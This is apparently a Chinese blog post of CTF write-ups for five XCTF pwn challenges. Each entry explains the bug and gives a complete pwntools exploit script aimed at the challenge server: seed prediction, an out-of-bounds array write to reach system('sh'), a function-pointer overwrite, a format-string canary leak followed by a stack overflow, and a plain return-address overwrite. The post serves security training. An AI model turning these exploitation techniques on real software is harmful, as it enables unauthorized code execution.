xctf进阶区

持续更新攻防世界pwn进阶区刷题过程。。。


0x01 dice_game

查看安全机制
2020-06-07-10-18-56

拖入IDA查看反汇编代码
2020-06-07-10-20-03
可以看到read函数处,虽然不存在栈溢出,但可以通过read函数修改栈中任意值

整个题目的逻辑就是猜数字,猜中50次返回flag
可以通read函数修改随机数种子seed的值,利用题目提供的动态链接库,采用python和c混合编程解题

解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python
#coding=utf-8

from pwn import *
from ctypes import *
io = remote('220.249.52.133','39262')
io.recvuntil('name: ')
payload = 'A'*0x40+p64(1)
io.sendline(payload)
libc = cdll.LoadLibrary('libc.so.6')
#注: 有些函数不支持使用相对地址,所以文件与脚本在同一文件夹的话,直接写文件名就可以了
libc.srand(1)
for i in range(50):
io.recvuntil('point(1~6): ')
io.sendline(str(libc.rand()%6+1))
io.interactive()

0x02 stack2

查看安全机制
2020-06-07-10-28-07

拖入IDA中查看源代码
程序的逻辑大概就是,输入几个数求取平均值
2020-06-10-22-20-29
可以看到,在改变数组的数字时,没有对输入的v5的值做检测,导致v5可以取任意值,从而可以利用赋值语句实现对任意地址写
查看v13的地址
2020-06-10-22-27-24
可以看到v13离ebp偏移为0x70,然而程序开启了栈保护机制,程序的真正返回地址并不是在ebp的下一位,需要根据动态调试确定返回地址

使用IDA远程调试程序
将断点设置在赋值语句处,将v[0]的值改编为23(0x17)
2020-06-10-22-44-03
运行到断点处,查看汇编程序,逐步执行
2020-06-10-22-45-51
看到程序最后把值赋值给了[ebp+eax+var_70],查看其在栈中地址,注意要先等eax复制完再查看,eax为地址组成部分
2020-06-10-23-02-04
看到v13首地址为FFAE8DD8

接下来是计算返回地址,继续运行程序,然后输入5结束程序
2020-06-10-22-53-31
跟随程序汇编代码执行情况
2020-06-10-22-54-27
直到运行到return处,此时esp的值即为返回地址的正真地址,即FFAE8E5C
2020-06-10-23-03-36

使用两个地址相减即可得到真正的偏移地址
0xFFAE8E5C-0xFFAE8DD8=0x84

由于服务器没有bash命令行,所以我们需要构造字符串,通过程序中有的’bash’截取’sh’部分作为参数输入

解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/python
#coding=utf-8

from pwn import *
io = remote('220.249.52.133','36772')
io.recvuntil('How many numbers you have:\n')
io.sendline('1')
io.recvuntil('Give me your numbers\n')
io.sendline('1')
for i in range(4):
io.recvuntil('5. exit\n')
io.sendline('3')
io.recvuntil('which number to change:\n')
io.sendline(str(132+i))
io.recvuntil('new number:\n')
io.sendline(str(int('50840408'[2*i:2*i+2],16)))

for i in range(4):
io.recvuntil('5. exit\n')
io.sendline('3')
io.recvuntil('which number to change:\n')
io.sendline(str(132+i+8))
io.recvuntil('new number:\n')
io.sendline(str(int('87890408'[2*i:2*i+2],16)))

io.recvuntil('5. exit\n')
io.sendline('5')
io.interactive()

0x03 forgot

查看安全机制:
2020-06-11-20-22-16

拖入IDA查看反汇编代码
2020-06-11-20-24-04
在scanf函数处存在溢出,可以利用其修改变量的值,在程序的结尾利用函数指针来调用函数,v14为偏移量

攻击思路: 利用溢出修改v14的值,同时修改偏移量对于函数指针的值,注意到只有将v14修改为10或者9,可以绕过前面的字符串检测,然而0x0a和0x09均为坏字符,也就是会将字符串截断,导致无法输入到程序中,所以只可以将其修改成0x8,并需要使字符串通过最后一个检测,跟进最后一个检测,只要第一个字符ascii满足大于96小于等于122即可

解题脚本:

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/python
#coding=utf-8

from pwn import *
io = remote('220.249.52.133','51231')
io.recvuntil('> ')
io.sendline('11')
io.recvuntil('> ')
payload = 'a'*(0x74-0x30)+p32(0x080486CC)+'a'*(0x30-0xc-4)+p32(8) #'a'的ascii值满足大于96小于等于122
io.sendline(payload)
io.interactive()

0x04 Mary_Morton

查看安全机制:
2020-06-13-19-53-51

拖入IDA查看反汇编代码
2020-06-13-19-56-11
程序给了两种攻击方式:栈溢出和格式化字符串漏洞
而由于程序开启了stack cannary,因此无法直接进行堆栈溢出,需要想办法绕过cannary
关于cannary保护机制可以参考这篇文章https://www.ichenxiaoyu.com/ctf2/

攻击思路:在一个程序运行过程中cannary的值通常是不会变的,会应用于多个函数,因此可以考虑到利用格式化字符串漏洞,爆出cannary,然后利用栈溢出漏洞获取flag,栈溢出过程中用正确的cannary覆盖。

cannary存放的地址一般在离ebp最近的地方,可以看到v2变量就是我们要获取的cannary
2020-06-13-20-08-13

解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/python
#coding=utf-8

from pwn import *
io = remote('220.249.52.133','30458')
io.recvuntil('3. Exit the battle \n')
io.sendline('2')
payload = '%23$p'
# 这里要注意的是,根据函数调用约定,偏移6处是函数的第一个局部变量,而v2距离第一个局部变量buf的偏移是(0x90-0x8)/8=17,所以总的偏移就是6+17=23
io.sendline(payload)
io.recvuntil('0x')
cannary = int(io.recv(16),16)
#这里要注意用%p输出的十六进制与内存中数据存放的顺序是相反的
io.recvuntil('3. Exit the battle \n')
io.sendline('1')
payload = 'A'*0x88+p64(cannary)+'A'*8+p64(0x4008DA)
io.sendline(payload)
io.interactive()

0x05 warmup

这个题目不应该放在进阶区。。。。

解题脚本:

1
2
3
4
5
6
7
8
9
#!/usr/bin/python
#coding=utf-8

from pwn import *
io = remote('220.249.52.133',55399)
io.recvuntil('>')
payload = 'A'*0x48+p64(0x40060d)
io.sendline(payload)
io.interactive()

持续更新中。。。